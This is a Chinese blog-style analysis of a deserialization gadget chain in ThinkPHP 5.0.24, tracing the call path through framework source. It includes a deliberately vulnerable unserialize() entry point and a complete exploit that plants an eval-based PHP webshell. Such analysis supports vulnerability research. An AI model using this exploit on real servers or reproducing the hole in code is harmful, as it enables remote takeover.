ThinkPHP v5.0.24
环境搭建
thinkphp_5.0.24: 官网下载的thinkphp_5.0.24版本,有需要可以自取 (gitee.com)
从gitee下载的源码记得composer update
写一个入口函数
thinkphp_5.0.24/application/index/controller/Index.php
<?php namespace app\index\controller;
class Index { public function index() { $patton = unserialize($_GET['patton']); var_dump($patton); }
}
|
反序列化分析
反序列化链调用过程
File.php:160, think\cache\driver\File->set() Memcache.php:94, think\session\driver\Memcache->write() Output.php:154, think\console\Output->write() Output.php:143, think\console\Output->writeln() Output.php:124, think\console\Output->block() Output.php:212, call_user_func_array() Output.php:212, think\console\Output->__call() Model.php:912, think\console\Output->getAttr() Model.php:912, think\Model->toArray() Model.php:936, think\Model->toJson() Model.php:2267, think\Model->__toString() Windows.php:163, file_exists() Windows.php:163, think\process\pipes\Windows->removeFiles() Windows.php:59, think\process\pipes\Windows->__destruct() Index.php:14, app\index\controller\Index->hello()
|
前人栽树,后人乘凉,我们直接找到反序列化链的入口文件,从该类的__destruct
方法开始寻找

然后跳转到removeFiles

执行file_exists()时$filename会被当做字符串,因此我们可以通过file_exists()函数触发__toString()函数
全局搜搜function__toString
选择Model.php

然后跟进toJson方法

接着跳转到toArray
public function toArray() { $item = []; $visible = []; $hidden = [];
$data = array_merge($this->data, $this->relation);
if (!empty($this->visible)) { $array = $this->parseAttr($this->visible, $visible); $data = array_intersect_key($data, array_flip($array)); } elseif (!empty($this->hidden)) { $array = $this->parseAttr($this->hidden, $hidden, false); $data = array_diff_key($data, array_flip($array)); }
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { $item[$key] = $this->subToArray($val, $visible, $hidden, $key); } elseif (is_array($val) && reset($val) instanceof Model) { $arr = []; foreach ($val as $k => $value) { $arr[$k] = $this->subToArray($value, $visible, $hidden, $key); } $item[$key] = $arr; } else { $item[$key] = $this->getAttr($key); } } if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
|
在912行看见$ value调用了一个getAttr()方法,如果 $value可控的话,我们就可以通过控制$value调用__call()方法。

发现902行$value是由getRelationData()的返回值进行赋值的,我们跟入getRelationData()函数

getRelationData函数
protected function getRelationData(Relation $modelRelation) { if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) { $value = $this->parent; } else { if (method_exists($modelRelation, 'getRelation')) { $value = $modelRelation->getRelation(); } else { throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation'); } } return $value; }
|
如果我们传入的参数为Relation类且满足if分支的条件,那$value就会由 $this->parent的值决定
那么我们分析if的条件
跟进isSelfRelation函数

可控
跟进getModel函数

$query可控,因此此时我们需要查找哪个类的getModel()可控,在这里找到了thinkphp/library/think/db/Query.php类,跟进thinkphp/library/think/db/Query.php类

至此三个条件都可控,接下来我们需要判断是否能传入一个Relation类的参数
回到刚刚,发现调用getRelationData()函数时传入的是$modelRelation变量

跟进$relation()发现$relation()函数是根据$relation的值进行调用的并且要满足method_exists()函数,跟进parseName()
public static function parseName($name, $type = 0, $ucfirst = true) { if ($type) { $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) { return strtoupper($match[1]); }, $name);
return $ucfirst ? ucfirst($name) : lcfirst($name); }
return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_")); }
|
parseName()函数只对传进来的$name做了一些大小写替换,没有实质上的过滤操作,因此$name可控,$relation可控
$relation可控的前提下我们要满足method_exists()函数就需要我们将relation的值设定为\think\Model拥有的方法,在这里我们选择的是getError()方法。主要是$this->error可控,这样我们不仅满足了method_exists()函数,还让$modelRelation可控,这样$value也就可控了

想要$value可控的前提首先需要满足两个if判断

第一个if条件需要满足$modelRelation存在getBindAttr()函数,并且$bindAttr变量由getBindAttr()函数返回值决定,发现OneToOne中存在且OneToOne是Relation类的子类、$this->bindAttr可控

跟进OneToOne.php,发现OneToOne是个抽象类,无法生成实例,发现HasOne类继承了OneToOne类,因此我们可以令$modelRelation的值为HasOne,此时便可满足第一个if条件,由于$this->bindAttr可控,因此我们也能满足第二个if条件

我们继续跟进,发现$attr变量由$bindAttr决定,且$attr变量用于912行的$value->getAttr()中,因此$value->getAttr($attr)可控,所以我们可以根据$value->getAttr($attr)调用__call()方法,此时我们需要寻找能写webshell的__call()方法,在这里选择的是think\console\Output类

在这里$method和$this->styles是可控的,array_unshift()对调用block()方法没有影响,因此我们跟进block()方法

继续跟进writeln

继续跟进write

在这里$this->handle是可控的,我们寻找能写webshell的write()方法,此次选择了 think\session\driver\Memcache类
public function write($sessID, $sessData) { return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']); }
|
在这里$this->handler又是可控的,我们继续寻找能写webshell的set()方法,此次选择了think\cache\driver\File 类,我们可以看到think\cache\driver\File 类的set()方法通过file_put_contents()将$data写进了文件,我们跟入$data和$filename

发现$filename的值是由getCacheKey()方法决定的,我们跟进getCacheKey()函数

$filename的后缀是写死的,为php,并且文件名的一部分可控,这时如果$data可控的话就可以getshell了。我们跟进$data,发现$data最终是由think\console\Output类的write()方法决定的,$data的值为true

虽然能写入php文件但是内容不可控,继续跟进发现

尝试跟进setTagItem,这次的$key是可控的,$value由之前的$filename决定,这也意味着我们可以通过setTagItem()再一次的写入php文件进行getshell

至此pop链分析完毕。
EXP
<?php namespace think\process\pipes; class Windows { private $files = []; public function __construct() { $this->files = [new \think\model\Merge]; } }
namespace think\model; use think\Model;
class Merge extends Model { protected $append = []; protected $error;
public function __construct() { $this->append = [ 'bb' => 'getError' ]; $this->error = (new \think\model\relation\BelongsTo); } } namespace think; class Model{}
namespace think\console; class Output { protected $styles = []; private $handle = null; public function __construct() { $this->styles = ['removeWhereField']; $this->handle = (new \think\session\driver\Memcache); } }
namespace think\model\relation; class BelongsTo { protected $query; public function __construct() { $this->query = (new \think\console\Output); } }
namespace think\session\driver; class Memcache { protected $handler = null; public function __construct() { $this->handler = (new \think\cache\driver\Memcached); } } namespace think\cache\driver; class File { protected $tag; protected $options = []; public function __construct() { $this->tag = false; $this->options = [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'data_compress' => false, 'path' => 'php://filter/convert.base64-decode/resource=./', ]; } }
class Memcached { protected $tag; protected $options = []; protected $handler = null;
public function __construct() { $this->tag = true; $this->options = [ 'expire' => 0, 'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4', ]; $this->handler = (new File); } } echo base64_encode(serialize(new \think\process\pipes\Windows));
|
会在根目录生成一个shell
